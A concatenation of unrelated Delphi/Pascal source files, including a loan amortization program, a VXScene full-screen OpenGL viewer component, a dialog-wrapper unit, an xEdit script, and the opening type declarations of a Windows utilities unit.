printTwoStrings(p.Name, ' ('+p.Age.ToString+')');
end;
method ConsoleApp.SumAge: Integer;
begin
var sum : Integer :=0;
for each p in persons do
sum := sum + p.Age;
result := sum;
end;
constructor Person(setName: String; setAge: Integer);
begin
self.Name := setName;
self.Age := setAge;
end;
method ConsoleApp.FillPersons;
begin
persons := new List<Person>;
persons.AddRange([new Person('John Smith', 35), new Person('Lara Croft', 33), new Person ('Nancy Davolio', 22),
new Person ('Andrew Fuller', 30), new Person ('Janet Leverling', 26), new Person ('Margareth Peacock', 18),
new Person ('Steven Buchanan', 19), new Person ('Laura Callahan', 55), new Person ('James Bond', 29)]);
end;
end. |
unit ULeituraGasVO;
interface
uses Atributos, Classes, Constantes, Generics.Collections, SysUtils, UGenericVO,
UCondominioVO,UitensLeituraGasVO;
type
[TEntity]
[TTable('LeituraGas')]
TLeituraGasVO = class(TGenericVO)
private
FidLeituraGas : Integer;
FdtLeitura : TDateTime;
FidCondominio : Integer;
public
CondominioVO : TCondominioVO;
ItensLeitura: TObjectList<TitensLeituraGasVO>;
[TId('idLeituraGas')]
[TGeneratedValue(sAuto)]
property idLeituraGas : Integer read FidLeituraGas write FidLeituraGas;
[TColumn('dtLeitura','Data',0,[ldGrid,ldLookup,ldComboBox], False)]
property dtLeitura: TDateTime read FdtLeitura write FdtLeitura;
[TColumn('idCondominio','Condominio',0,[ldLookup,ldComboBox], False)]
property idCondominio: integer read FidCondominio write FidCondominio;
procedure ValidarCamposObrigatorios;
end;
implementation
procedure TLeituraGasVO.ValidarCamposObrigatorios;
begin
if (self.dtLeitura = 0) then
begin
raise Exception.Create('O campo Data é obrigatório!');
end;
end;
end.
|
(*
Category: SWAG Title: ANYTHING NOT OTHERWISE CLASSIFIED
Original name: 0191.PAS
Description: Very Quick Loan Amortizaton
Author: GLENN GROTZINGER
Date: 11-29-96 08:17
*)
program amortization_schedule;
{ smaller than what exists in swag now and doesn't need to know the
payment...just the APR and terms (what you hear at the loan office
anyway)...then determines an amortization schedule }
var
loan_left, loan_amount, interest, loan_payment, apr, t: real;
number_periods, i: integer;
outfile: text;
function power(x, y: real):real;
begin
power := exp(y*ln(x));
end;
begin
assign(outfile, 'AMORT.TXT');
rewrite(outfile);
writeln('Loan Amortization Schedule (assumes entry of yearly interest',
' rate and # of months of payment (made at end of month)');
writeln('Omit all $ signs.');
write('What is the APR of the loan? ');
readln(t);
apr := t/100/12;
write('What is the # of payments in the loan (made monthly)?');
readln(number_periods);
write('How much is the loan for?');
readln(loan_amount);
loan_payment := loan_amount/((1-(1/power(1+apr,number_periods)))/apr);
writeln(outfile, 'Amortization Report':25);
writeln(outfile, t:0:2, '% interest, ', number_periods,
' monthly payments, Loan of $', loan_amount:0:2);
writeln(outfile);
writeln(outfile, 'Your loan payment is $', loan_payment:0:2);
writeln(outfile);
writeln(outfile, 'Months, payment a month, interest paid,',
' principal paid, loan amount pending');
for i := 1 to number_periods do
begin
interest := loan_amount * apr;
loan_left := loan_payment - interest;
loan_amount := loan_amount - loan_left;
writeln(outfile, i:4, loan_payment:16:2, interest:16:2,
loan_left:16:2, loan_amount:16:2);
end;
close(outfile);
writeln('AMORT.TXT report generated.');
end.
|
unit uFormUtils;
interface
uses
System.Types,
System.Classes,
Winapi.Windows,
Vcl.Graphics;
procedure RenderForm(FormHandle: THandle; Bitmap32: TBitmap; Transparenty: Byte; UpdateFormStyle: Boolean = True); overload;
implementation
procedure RenderForm(FormHandle: THandle; Bitmap32: TBitmap; Transparenty: Byte; UpdateFormStyle: Boolean = True);
var
zSize: TSize;
zPoint: TPoint;
zBf: TBlendFunction;
TopLeft: TPoint;
Bounds: TRect;
DC: HDC;
begin
if UpdateFormStyle then
SetWindowLong(FormHandle, GWL_EXSTYLE, GetWindowLong(FormHandle, GWL_EXSTYLE) or WS_EX_LAYERED);
zSize.cx := Bitmap32.Width;
zSize.cy := Bitmap32.Height;
zPoint := Point(0, 0);
with zBf do
begin
BlendOp := AC_SRC_OVER;
BlendFlags := 0;
AlphaFormat := AC_SRC_ALPHA;
SourceConstantAlpha := Transparenty;
end;
GetWindowRect(FormHandle, Bounds);
TopLeft := Point(Bounds.Left, Bounds.Top);
DC := GetDC(0);
try
UpdateLayeredWindow(FormHandle, DC, @TopLeft, @zSize,
Bitmap32.Canvas.Handle, @zPoint, 0, @zBf, ULW_ALPHA);
finally
ReleaseDC(0, DC);
end;
end;
end.
|
//
// VXScene Component Library, based on GLScene http://glscene.sourceforge.net
//
{
A cross-platform full-screen viewer.
}
unit VXS.FullScreenViewer;
interface
{$I VXScene.inc}
uses
Winapi.Messages,
Winapi.Windows,
System.Classes,
System.SysUtils,
FMX.Types,
FMX.Forms,
FMX.Controls,
FMX.Menus,
VXS.Scene,
VXS.Context,
VXS.Win64Viewer,
VXS.Win64Context,
VXS.Crossplatform,
VXS.Screen;
type
TVXScreenDepth = (sd8bits, sd16bits, sd24bits, sd32bits);
{ A FullScreen viewer.
This non visual viewer will, when activated, use the full screen as rendering
surface. It will also switch/restore videomode depending on the required
width/height.
This is performed by creating an underlying TForm and using its surface
for rendering OpenGL, "decent" ICDs will automatically use PageFlipping
instead of BlockTransfer (slower buffer flipping mode used for windowed
OpenGL).
Note: if you terminate the application either via a kill or in the IDE,
the original resolution isn't restored. }
TVXFullScreenViewer = class(TVXNonVisualViewer)
private
FFormIsOwned: Boolean;
FForm: TForm;
FOwnDC: THandle; // in VCL HWND;
FScreenDepth: TVXScreenDepth;
FActive: Boolean;
FSwitchedResolution: Boolean;
FManualRendering: Boolean;
FUpdateCount: Integer;
FOnMouseDown: TMouseEvent;
FOnMouseUp: TMouseEvent;
FOnMouseMove: TMouseMoveEvent;
FOnMouseWheel: TMouseWheelEvent; // in VCL TMouseWheelEvent;
FOnMouseWheelDown: TMouseWheelEvent; // in VCL TMouseWheelUpDownEvent;
FOnMouseWheelUp: TMouseWheelEvent; // in VCL TMouseWheelUpDownEvent;
FOnClick, FOnDblClick: TNotifyEvent;
FOnKeyDown: TKeyEvent;
FOnKeyUp: TKeyEvent;
FOnKeyPress: TKeyEvent; // In VCL TKeyPressEvent;
FOnClose: TCloseEvent;
FOnCloseQuery: TCloseQueryEvent;
FStayOnTop: Boolean;
FVSync: TVXSyncMode;
FRefreshRate: Integer;
{ TODO : E2003 Undeclared identifier: 'TCursor' }
(*FCursor: TCursor;*)
FPopupMenu: TPopupMenu;
procedure SetScreenDepth(const val: TVXScreenDepth);
procedure SetActive(const val: Boolean);
procedure SetOnMouseDown(const val: TMouseEvent);
procedure SetOnMouseUp(const val: TMouseEvent);
procedure SetOnMouseMove(const val: TMouseMoveEvent);
procedure SetOnMouseWheel(const val: TMouseWheelEvent);
procedure SetOnMouseWheelDown(const val: TMouseWheelEvent); //in VCL TMouseWheelUpDownEvent
procedure SetOnMouseWheelUp(const val: TMouseWheelEvent); //in VCL TMouseWheelUpDownEvent
procedure SetOnClick(const val: TNotifyEvent);
procedure SetOnDblClick(const val: TNotifyEvent);
procedure SetOnCloseQuery(const val: TCloseQueryEvent);
procedure SetOnClose(const val: TCloseEvent);
procedure SetOnKeyUp(const val: TKeyEvent);
procedure SetOnKeyDown(const val: TKeyEvent);
procedure SetOnKeyPress(const val: TKeyEvent); // in VCL TKeyPressEvent
procedure SetStayOnTop(const val: Boolean);
{ TODO : E2003 Undeclared identifier: 'TCursor' }
(*procedure SetCursor(const val: TCursor);*)
procedure SetPopupMenu(const val: TPopupMenu);
procedure SetForm(aVal: TForm);
procedure SetManualRendering(const val: Boolean);
protected
function GetHandle: TWindowHandle;
procedure DoBeforeRender(Sender: TObject);
procedure DoBufferChange(Sender: TObject); override;
procedure DoBufferStructuralChange(Sender: TObject); override;
procedure Startup;
procedure Shutdown;
procedure BindFormEvents;
procedure DoCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure DoPaint(Sender: TObject);
procedure DoActivate(Sender: TObject);
procedure DoDeactivate(Sender: TObject);
procedure DoFormDestroy(Sender: TObject);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure Render(baseObject: TVXBaseSceneObject = nil); override;
{ Adjusts property so that current resolution will be used.
Call this method if you want to make sure video mode isn't switched. }
procedure UseCurrentResolution;
procedure BeginUpdate;
procedure EndUpdate;
{ Activates/deactivates full screen mode. }
property Active: Boolean read FActive write SetActive;
procedure ReActivate;
{ Read access to the underlying form handle.
Returns 0 (zero) if the viewer is not active or has not yet
instantiated its form. }
property Handle: TWindowHandle read GetHandle;
procedure Notification(AComponent: TComponent;
Operation: TOperation); override;
function LastFrameTime: Single;
function FramesPerSecond: Single;
function FramesPerSecondText(decimals: Integer = 1): String;
procedure ResetPerformanceMonitor;
property RenderDC: THandle read FOwnDC; //HWND
published
property Form: TForm read FForm write SetForm;
property ManualRendering: Boolean read FManualRendering
write SetManualRendering;
// It is not used in UNIX
{ Requested ScreenDepth. }
property ScreenDepth: TVXScreenDepth read FScreenDepth write SetScreenDepth
default sd32bits;
{ Specifies if the underlying form is "fsStayOnTop".
The benefit of StayOnTop is that it hides the windows bar and
other background windows. The "fsStayOnTop" is automatically
switched off/on when the underlying form loses/gains focus.
It is recommended not to use StayOnTop while running in the IDE
or during the debugging phase. }
property StayOnTop: Boolean read FStayOnTop write SetStayOnTop
default False;
{ Specifies if the refresh should be synchronized with the VSync signal.
If the underlying OpenGL ICD does not support the WGL_EXT_swap_control
extension, this property is ignored. }
property VSync: TVXSyncMode read FVSync write FVSync default vsmSync;
{ Screen refresh rate.
Use zero for system default. This property allows you to work around
the winxp bug that limits uses a refresh rate of 60hz when changeing
resolution. it is however suggested to give the user the opportunity
to adjust it instead of having a fixed value (expecially beyond
75hz or for resolutions beyond 1024x768).
the value will be automatically clamped to the highest value
*reported* compatible with the monitor. }
property RefreshRate: Integer read FRefreshRate write FRefreshRate;
{ TODO : E2003 Undeclared identifier: 'TCursor' }
(*property Cursor: TCursor read FCursor write SetCursor default crDefault;*)
property PopupMenu: TPopupMenu read FPopupMenu write SetPopupMenu;
property OnClose: TCloseEvent read FOnClose write SetOnClose;
property OnKeyUp: TKeyEvent read FOnKeyUp write SetOnKeyUp;
property OnKeyDown: TKeyEvent read FOnKeyDown write SetOnKeyDown;
property OnKeyPress: TKeyEvent read FOnKeyPress write SetOnKeyPress;
property OnCloseQuery: TCloseQueryEvent read FOnCloseQuery
write SetOnCloseQuery;
property OnClick: TNotifyEvent read FOnClick write SetOnClick;
property OnDblClick: TNotifyEvent read FOnDblClick write SetOnDblClick;
property OnMouseDown: TMouseEvent read FOnMouseDown write SetOnMouseDown;
property OnMouseUp: TMouseEvent read FOnMouseUp write SetOnMouseUp;
property OnMouseMove: TMouseMoveEvent read FOnMouseMove
write SetOnMouseMove;
property OnMouseWheel: TMouseWheelEvent read FOnMouseWheel
write SetOnMouseWheel;
property OnMouseWheelDown: TMouseWheelEvent read FOnMouseWheelDown
write SetOnMouseWheelDown;
property OnMouseWheelUp: TMouseWheelEvent read FOnMouseWheelUp
write SetOnMouseWheelUp;
end;
procedure Register;
// ------------------------------------------------------------------
implementation
// ------------------------------------------------------------------
const
cScreenDepthToBPP: array [sd8bits .. sd32bits] of Integer = (8, 16, 24, 32);
procedure Register;
begin
RegisterComponents('VXScene', [TVXFullScreenViewer]);
end;
// ------------------
// ------------------ TVXFullScreenViewer ------------------
// ------------------
constructor TVXFullScreenViewer.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
Width := 800;
Height := 600;
FScreenDepth := sd32bits;
FVSync := vsmSync;
{ TODO : E2003 Undeclared identifier: 'TCursor' }
(*FCursor := crDefault;*)
Buffer.ViewerBeforeRender := DoBeforeRender;
end;
destructor TVXFullScreenViewer.Destroy;
begin
Active := False;
inherited Destroy;
end;
procedure TVXFullScreenViewer.DoBeforeRender(Sender: TObject);
begin
SetupVSync(VSync);
end;
procedure TVXFullScreenViewer.DoBufferChange(Sender: TObject);
begin
if Assigned(FForm) and (not Buffer.Rendering) then
begin
Buffer.Render;
end;
end;
procedure TVXFullScreenViewer.DoBufferStructuralChange(Sender: TObject);
begin
if Active and (FUpdateCount = 0) then
ReActivate
end;
procedure TVXFullScreenViewer.Render(baseObject: TVXBaseSceneObject = nil);
begin
Buffer.Render(baseObject);
end;
procedure TVXFullScreenViewer.BeginUpdate;
begin
Inc(FUpdateCount);
end;
procedure TVXFullScreenViewer.EndUpdate;
begin
Dec(FUpdateCount);
if FUpdateCount = 0 then
begin
if Active then
DoBufferStructuralChange(Self)
end
else if FUpdateCount < 0 then
begin
FUpdateCount := 0;
Assert(False, 'Unbalanced Begin/EndUpdate');
end;
end;
procedure TVXFullScreenViewer.ReActivate;
begin
Shutdown;
Startup;
end;
procedure TVXFullScreenViewer.Notification(AComponent: TComponent;
Operation: TOperation);
begin
if (Operation = opRemove) and (Buffer <> nil) then
begin
if (AComponent = Buffer.Camera) then
Buffer.Camera := nil;
Active := False;
if (AComponent = FForm) then
begin
Active := False;
Form := nil;
end;
end;
inherited Notification(AComponent, Operation);
end;
function TVXFullScreenViewer.LastFrameTime: Single;
begin
Result := Buffer.LastFrameTime;
end;
function TVXFullScreenViewer.FramesPerSecond: Single;
begin
Result := Buffer.FramesPerSecond;
end;
function TVXFullScreenViewer.FramesPerSecondText(decimals: Integer): String;
begin
Result := Format('%.*f FPS', [decimals, Buffer.FramesPerSecond]);
end;
procedure TVXFullScreenViewer.ResetPerformanceMonitor;
begin
Buffer.ResetPerformanceMonitor;
end;
procedure TVXFullScreenViewer.UseCurrentResolution;
begin
BeginUpdate;
try
Width := Screen.Width;
Height := Screen.Height;
case GetCurrentColorDepth of
24: ScreenDepth := sd24bits;
16: ScreenDepth := sd16bits;
8: ScreenDepth := sd8bits;
else
// highest depth possible otherwise
ScreenDepth := sd32bits;
end;
finally
EndUpdate;
end;
end;
procedure TVXFullScreenViewer.SetActive(const val: Boolean);
begin
if val <> FActive then
begin
// Alt+Tab delayed until better times
// {$IFDEF MSWindows}
// Application.OnDeactivate:=DoDeActivate;
// Application.OnActivate:=DoActivate;
// {$ENDIF}
if val then
Startup
else
Shutdown;
end;
end;
procedure TVXFullScreenViewer.Startup;
var
res: TResolution;
begin
if FActive then
Exit;
if FForm = nil then
begin
FFormIsOwned := True;
FForm := TForm.Create(nil);
FForm.Show();
end
else
FFormIsOwned := False;
with FForm do
begin
If BorderStyle <> TFmxFormBorderStyle.None then
BorderStyle := TFmxFormBorderStyle.None;
{ TODO : E2003 Undeclared identifier: 'Cursor' }
(*Cursor := Self.Cursor;*)
PopupMenu := Self.PopupMenu;
Left := 0;
Top := 0;
ClientWidth := Self.Width;
ClientHeight := Self.Height;
BindFormEvents;
res := GetIndexFromResolution(Width, Height,
cScreenDepthToBPP[ScreenDepth]);
if res = 0 then
raise Exception.Create('Unsupported video mode');
if StayOnTop then
FormStyle := TFormStyle.StayOnTop
else
FormStyle := TFormStyle.Normal;
{ TODO : E2010 Incompatible types: 'HWND' and 'TWindowHandle' }
(*
SetWindowLong(Handle, GWL_STYLE, GetWindowLong(Handle, GWL_STYLE) and
not WS_CAPTION);
*)
// WindowState:=wsMaximized;
// Switch video mode
if (Screen.Width <> Width) or (Screen.Height <> Height) or
(GetCurrentColorDepth <> cScreenDepthToBPP[ScreenDepth]) then
begin
SetFullscreenMode(res, FRefreshRate);
FSwitchedResolution := True;
end;
// Hides Taskbar + Windows 7 Button
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);
ShowWindow(FindWindow('BUTTON', nil), SW_HIDE);
// Show;
end;
Buffer.Resize(0, 0, Width, Height);
{ TODO : E2010 Incompatible types: 'HWND' and 'TWindowHandle' }
(*FOwnDC := GetDC(FForm.Handle);*)
Buffer.CreateRC(FOwnDC, False);
// Linux Unicode
{$IFDEF Linux}
GrabMouseToForm(FForm);
{$ENDIF}
// todo
FActive := True;
end;
procedure TVXFullScreenViewer.Shutdown;
begin
if not FActive then
Exit;
Assert(FForm <> nil);
Buffer.DestroyRC;
with FForm do
begin
{ TODO : E2003 Undeclared identifier: 'crDefault' }
(*Cursor := crDefault;*)
PopupMenu := nil;
end;
// Restore Taskbar + Windows 7 Button
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA);
ShowWindow(FindWindow('BUTTON', nil), SW_SHOWNA);
// attempt that, at the very least...
if FSwitchedResolution then
RestoreDefaultMode;
FActive := False;
if FFormIsOwned then
FreeAndNil(FForm);
end;
procedure TVXFullScreenViewer.BindFormEvents;
begin
if Assigned(FForm) then
with FForm do
begin
OnMouseDown := FOnMouseDown;
OnMouseUp := FOnMouseUp;
OnMouseMove := FOnMouseMove;
OnMouseWheel := FOnMouseWheel;
OnMouseWheelDown := FOnMouseWheelDown;
OnMouseWheelUp := FOnMouseWheelUp;
OnClick := FOnClick;
OnDblClick := FOnDblClick;
OnCloseQuery := DoCloseQuery;
OnClose := FOnClose;
OnKeyUp := FOnKeyUp;
OnKeyDown := FOnKeyDown;
OnKeyPress := FOnKeyPress;
{ TODO : E2009 Incompatible types: 'Parameter lists differ' }
(*OnPaint := DoPaint;*)
OnDestroy := DoFormDestroy;
end;
end;
procedure TVXFullScreenViewer.DoCloseQuery(Sender: TObject;
var CanClose: Boolean);
begin
if Assigned(FOnCloseQuery) then
FOnCloseQuery(Sender, CanClose);
CanClose := True;
// if CanClose then Shutdown;
end;
procedure TVXFullScreenViewer.DoPaint(Sender: TObject);
begin
If not ManualRendering then
if Form <> nil then
Render;
end;
procedure TVXFullScreenViewer.DoActivate(Sender: TObject);
begin
(* If not Active and (Form <> nil) then begin
Startup;
end; *)
end;
procedure TVXFullScreenViewer.DoDeactivate(Sender: TObject);
begin
(* If Active and (Form <> nil) then begin
Shutdown;
Form.Height:=0;
Form.Width:=0;
end; *)
end;
procedure TVXFullScreenViewer.DoFormDestroy(Sender: TObject);
begin
Active := False;
end;
procedure TVXFullScreenViewer.SetScreenDepth(const val: TVXScreenDepth);
begin
if FScreenDepth <> val then
begin
FScreenDepth := val;
DoBufferStructuralChange(Self);
end;
end;
procedure TVXFullScreenViewer.SetStayOnTop(const val: Boolean);
begin
if val <> FStayOnTop then
begin
FStayOnTop := val;
DoBufferStructuralChange(Self);
end;
end;
procedure TVXFullScreenViewer.SetOnCloseQuery(const val: TCloseQueryEvent);
begin
FOnCloseQuery := val; // this one uses a special binding
end;
procedure TVXFullScreenViewer.SetOnClose(const val: TCloseEvent);
begin
If Form <> nil then
Form.OnClose := val;
FOnClose := val;
end;
procedure TVXFullScreenViewer.SetOnKeyPress(const val: TKeyEvent); //VCL - TKeyPressEvent
begin
If Form <> nil then
Form.OnKeyDown := val;
FOnKeyPress := val;
end;
procedure TVXFullScreenViewer.SetOnKeyUp(const val: TKeyEvent);
begin
If Form <> nil then
Form.OnKeyUp := val;
FOnKeyUp := val;
end;
procedure TVXFullScreenViewer.SetOnKeyDown(const val: TKeyEvent);
begin
If Form <> nil then
Form.OnKeyDown := val;
FOnKeyDown := val;
end;
procedure TVXFullScreenViewer.SetOnMouseWheel(const val: TMouseWheelEvent);
begin
If Form <> nil then
Form.OnMouseWheel := val;
FOnMouseWheel := val;
end;
procedure TVXFullScreenViewer.SetOnMouseWheelDown
(const val: TMouseWheelEvent);
begin
If Form <> nil then
Form.OnMouseWheel := val;
FOnMouseWheelDown := val;
end;
procedure TVXFullScreenViewer.SetOnMouseWheelUp(const val: TMouseWheelEvent);
begin
If Form <> nil then
Form.OnMouseWheel := val;
FOnMouseWheelUp := val;
end;
procedure TVXFullScreenViewer.SetOnClick(const val: TNotifyEvent);
begin
If Form <> nil then
{ TODO : E2003 Undeclared identifier: 'OnClick' }
(*Form.OnClick := val;*)
FOnClick := val;
end;
procedure TVXFullScreenViewer.SetOnDblClick(const val: TNotifyEvent);
begin
If Form <> nil then
{ TODO : E2003 Undeclared identifier: 'OnDblClick' }
(*Form.OnDblClick := val;*)
FOnDblClick := val;
end;
procedure TVXFullScreenViewer.SetOnMouseMove(const val: TMouseMoveEvent);
begin
If Form <> nil then
Form.OnMouseMove := val;
FOnMouseMove := val;
end;
procedure TVXFullScreenViewer.SetOnMouseDown(const val: TMouseEvent);
begin
If Form <> nil then
Form.OnMouseDown := val;
FOnMouseDown := val;
end;
procedure TVXFullScreenViewer.SetOnMouseUp(const val: TMouseEvent);
begin
If Form <> nil then
Form.OnMouseUp := val;
FOnMouseUp := val;
end;
(*
procedure TVXFullScreenViewer.SetCursor(const val: TCursor);
begin
if val <> FCursor then
begin
FCursor := val;
if Form <> nil then
FForm.Cursor := val;
end;
end;
*)
procedure TVXFullScreenViewer.SetPopupMenu(const val: TPopupMenu);
begin
if val <> FPopupMenu then
begin
FPopupMenu := val;
if Assigned(FForm) then
{ TODO : E2003 Undeclared identifier: 'PopupMenu' }
(*FForm.PopupMenu := val;*)
end;
end;
procedure TVXFullScreenViewer.SetForm(aVal: TForm);
begin
FForm := aVal;
end;
procedure TVXFullScreenViewer.SetManualRendering(const val: Boolean);
begin
if FManualRendering <> val then
FManualRendering := val;
end;
function TVXFullScreenViewer.GetHandle: TWindowHandle;
begin
if Form <> nil then
Result := FForm.Handle
else
Result := nil;
end;
// ------------------------------------------------------------------
initialization
// ------------------------------------------------------------------
RegisterClasses([TVXFullScreenViewer]);
finalization
// Restore Taskbar + Windows 7 Button
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA);
ShowWindow(FindWindow('BUTTON', nil), SW_SHOWNA);
end.
|
unit lcDialogs;
// Note: In order to use this, need XP Manifest in your application
// See also: TaskDialogIndirect(...) and TASKDIALOGCONFIG!!!
interface
uses
Dialogs,
Windows;
var
// If set, then any messages displayed will have any single CRLFs stripped
// out, while double CRLFs (SDU_CRLF+SDUCRLF) will be preserved under
// Windows Vista and later
// This allows messages to have CRLFs included in them for pre-Vista systems,
// in order to break up long lines - but on Vista, which does more sensible
// word wrapping, such CRLFs will be removed
GSDUDialogsStripSingleCRLF: Boolean = True;
// set to true to suppress all dialogs (ege for testing)
// G_SuppressDialogs : boolean = False;
// Display confirmation dialog with OK/Cancel or Yes/No buttons.
// Returns TRUE if the user selects OK or Yes.
function SDUConfirmOK(msg: String): Boolean;
function SDUConfirmYN(msg: String): Boolean;
function SDUWarnOK(msg: String): Boolean;
function SDUWarnYN(msg: String): Boolean;
function SDUErrorOK(msg: String): Boolean;
function SDUErrorYN(msg: String): Boolean;
// function MessageBox(hWnd: HWND; lpText, lpCaption: PChar; uType: UINT): Integer; stdcall;
function SDUMessageBox(
hWnd: HWND;
Content: String;
WindowTitle: String;
Flags: Longint): Integer;
// function MessageDlg(const Msg: string; DlgType: TMsgDlgType;
// Buttons: TMsgDlgButtons; HelpCtx: Longint): Integer;
function SDUMessageDlg(
Content: String;
DlgType: TMsgDlgType;
Buttons: TMsgDlgButtons;
HelpCtx: Longint): Integer; overload;
function SDUMessageDlg(Content: String;
DlgType: TMsgDlgType): Integer; overload;
function SDUMessageDlg(Content: String): Integer; overload;
implementation
uses
Classes,
Controls, // Required for mrXXX
// Consts,
// RTLConsts,
Forms, // Required for Application
SDUGeneral,
SysUtils, // Required for StringReplace
UITypes;
resourcestring
// These are included, just so that they get included in any .mo
// (translation) file. Otherwise these are not used anywhere - Delphi's
// "Consts.pas" holds the ones actually used, but they don't get extracted
// to .mo files; hence including a copy here
SDU_SMsgDlgYes = '&Yes';
SDU_SMsgDlgNo = '&No';
SDU_SMsgDlgOK = 'OK';
SDU_SMsgDlgCancel = 'Cancel';
SDU_SMsgDlgHelp = '&Help';
SDU_SMsgDlgHelpNone = 'No help available';
SDU_SMsgDlgHelpHelp = 'Help';
SDU_SMsgDlgAbort = '&Abort';
SDU_SMsgDlgRetry = '&Retry';
SDU_SMsgDlgIgnore = '&Ignore';
SDU_SMsgDlgAll = '&All';
SDU_SMsgDlgNoToAll = 'N&o to All';
SDU_SMsgDlgYesToAll = 'Yes to &All';
//type
function _SDUDialogs_StripSingleNewlines(msg: String): String; forward;
// ----------------------------------------------------------------------------
function SDUMessageBox(
hWnd: HWND;
Content: String;
WindowTitle: String;
Flags: Longint): Integer;
begin
if GSDUDialogsStripSingleCRLF then
Content := _SDUDialogs_StripSingleNewlines(Content);
// do enhancements here
Result := MessageBox(hWnd, PChar(Content), PChar(WindowTitle), Flags);
end;
// ----------------------------------------------------------------------------
function SDUMessageDlg(
Content: String;
DlgType: TMsgDlgType;
Buttons: TMsgDlgButtons;
HelpCtx: Longint): Integer;
begin
// if G_SuppressDialogs then exit;
if GSDUDialogsStripSingleCRLF then
Content := _SDUDialogs_StripSingleNewlines(Content);
// do enhancements here
Result := MessageDlg(Content, DlgType, Buttons, HelpCtx);
end;
// ----------------------------------------------------------------------------
function SDUMessageDlg(
Content: String;
DlgType: TMsgDlgType): Integer;
begin
Result := SDUMessageDlg(Content, DlgType, [mbOK], 0);
end;
// ----------------------------------------------------------------------------
function SDUMessageDlg(
Content: String): Integer;
begin
Result := SDUMessageDlg(Content, mtInformation, [mbOK], 0);
end;
// ----------------------------------------------------------------------------
// Convert CRLFs to spaces (or just strip them out), while preserving
// CRLF+CRLFs
function _SDUDialogs_StripSingleNewlines(msg: String): String;
const
DBLCRLF_MARKER = #13;
begin
if SDUOSVistaOrLater() then begin
// Replace double-CRLFs with a special flag marker to preserve them
msg := StringReplace(msg, SDUCRLF + SDUCRLF, DBLCRLF_MARKER, [rfReplaceAll]);
// Replace any remaining CRLFs with a space character, unless they were
// already next to a space character, in which case just strip the CRLF out.
msg := StringReplace(msg, SDUCRLF + ' ', ' ', [rfReplaceAll]);
msg := StringReplace(msg, ' ' + SDUCRLF, ' ', [rfReplaceAll]);
msg := StringReplace(msg, SDUCRLF, ' ', [rfReplaceAll]);
// Revert double-CRLFs
msg := StringReplace(msg, DBLCRLF_MARKER, SDUCRLF + SDUCRLF, [rfReplaceAll]);
end;
Result := msg;
end;
// ----------------------------------------------------------------------------
// Display confirmation dialog with OK/Cancel
// Returns TRUE if the user selects OK
function SDUConfirmOK(msg: String): Boolean;
begin
Result := (SDUMessageDlg(msg, mtConfirmation, [mbOK, mbCancel], 0) = mrOk);
end;
// ----------------------------------------------------------------------------
// Display confirmation dialog with Yes/No buttons.
// Returns TRUE if the user selects Yes.
function SDUConfirmYN(msg: String): Boolean;
begin
Result := (SDUMessageDlg(msg, mtConfirmation, [mbYes, mbNo], 0) = mrYes);
end;
// ----------------------------------------------------------------------------
// Display confirmation dialog with OK/Cancel
// Returns TRUE if the user selects OK
function SDUWarnOK(msg: String): Boolean;
begin
Result := (SDUMessageDlg(msg, mtWarning, [mbOK, mbCancel], 0) = mrOk);
end;
// ----------------------------------------------------------------------------
// Display confirmation dialog with Yes/No buttons.
// Returns TRUE if the user selects Yes.
function SDUWarnYN(msg: String): Boolean;
begin
Result := (SDUMessageDlg(msg, mtWarning, [mbYes, mbNo], 0) = mrYes);
end;
// ----------------------------------------------------------------------------
// Display confirmation dialog with OK/Cancel
// Returns TRUE if the user selects OK
function SDUErrorOK(msg: String): Boolean;
begin
Result := (SDUMessageDlg(msg, mtError, [mbOK, mbCancel], 0) = mrOk);
end;
// ----------------------------------------------------------------------------
// Display confirmation dialog with Yes/No buttons.
// Returns TRUE if the user selects Yes.
function SDUErrorYN(msg: String): Boolean;
begin
Result := (SDUMessageDlg(msg, mtError, [mbYes, mbNo], 0) = mrYes);
end;
end.
|
unit UserScript;
uses dubhFunctions;
var
lsMasters: TStringList;
aSource: IInterface;
function Initialize: Integer;
var
aRecord: IInterface;
sFormID: String;
begin
// populate masters list
lsMasters := TStringList.Create;
lsMasters.Duplicates := dupIgnore;
lsMasters.Add('Fallout4.esm');
// prompt for source data form id
if not InputQuery('VMAD Template', 'Form ID', sFormID) then
exit;
aRecord := RecordByHexFormID(sFormID);
// add masters to list
AddMastersToList(GetFile(aRecord), lsMasters);
// store source vmad
aSource := ElementBySignature(aRecord, 'VMAD');
end;
function Process(e: IInterface): Integer;
begin
AddMastersToFile(GetFile(e), lsMasters, False);
wbCopyElementToRecord(aSource, e, False, True);
end;
end. |
unit Utils;
interface
uses
windows,
TLhelp32;
const
ENTER = #10;
faReadOnly = $00000001 platform;
faHidden = $00000002 platform;
faSysFile = $00000004 platform;
faVolumeID = $00000008 platform;
faDirectory = $00000010;
faArchive = $00000020 platform;
faSymLink = $00000040 platform;
faAnyFile = $0000003F;
WM_CLOSE = $0010;
WM_QUIT = $0012;
type
HDROP = Longint;
PPWideChar = ^PWideChar;
type
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array [0..1] of Word);
2: (Bytes: array [0..3] of Byte);
end;
TFileName = type string;
type
TSearchRec = record
Time: Integer;
Size: Integer;
Attr: Integer;
Name: TFileName;
ExcludeAttr: Integer;
FindHandle: THandle platform;
FindData: TWin32FindData platform;
end;
type
HANDLE = THandle;
PVOID = Pointer;
LPVOID = Pointer;
SIZE_T = Cardinal;
ULONG_PTR = Cardinal;
NTSTATUS = LongInt;
LONG_PTR = Integer;
PImageSectionHeaders = ^TImageSectionHeaders;
TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
type
TUnicodeString = packed record
Length: Word;
MaximumLength: Word;
Buffer: PWideChar;
end;
PSYSTEM_PROCESSES = ^SYSTEM_PROCESSES;
SYSTEM_PROCESSES = packed record
NextEntryDelta,
ThreadCount: dword;
Reserved1: array [0..5] of dword;
CreateTime,
UserTime,
KernelTime: LARGE_INTEGER;
ProcessName: TUnicodeString;
BasePriority: dword;
ProcessId,
InheritedFromProcessId,
HandleCount: dword;
end;
// copiar diretório
const
FO_COPY = $0002;
FOF_NOCONFIRMATION = $0010;
FOF_RENAMEONCOLLISION = $0008;
type
FILEOP_FLAGS = Word;
type
PRINTEROP_FLAGS = Word;
PSHFileOpStructA = ^TSHFileOpStructA;
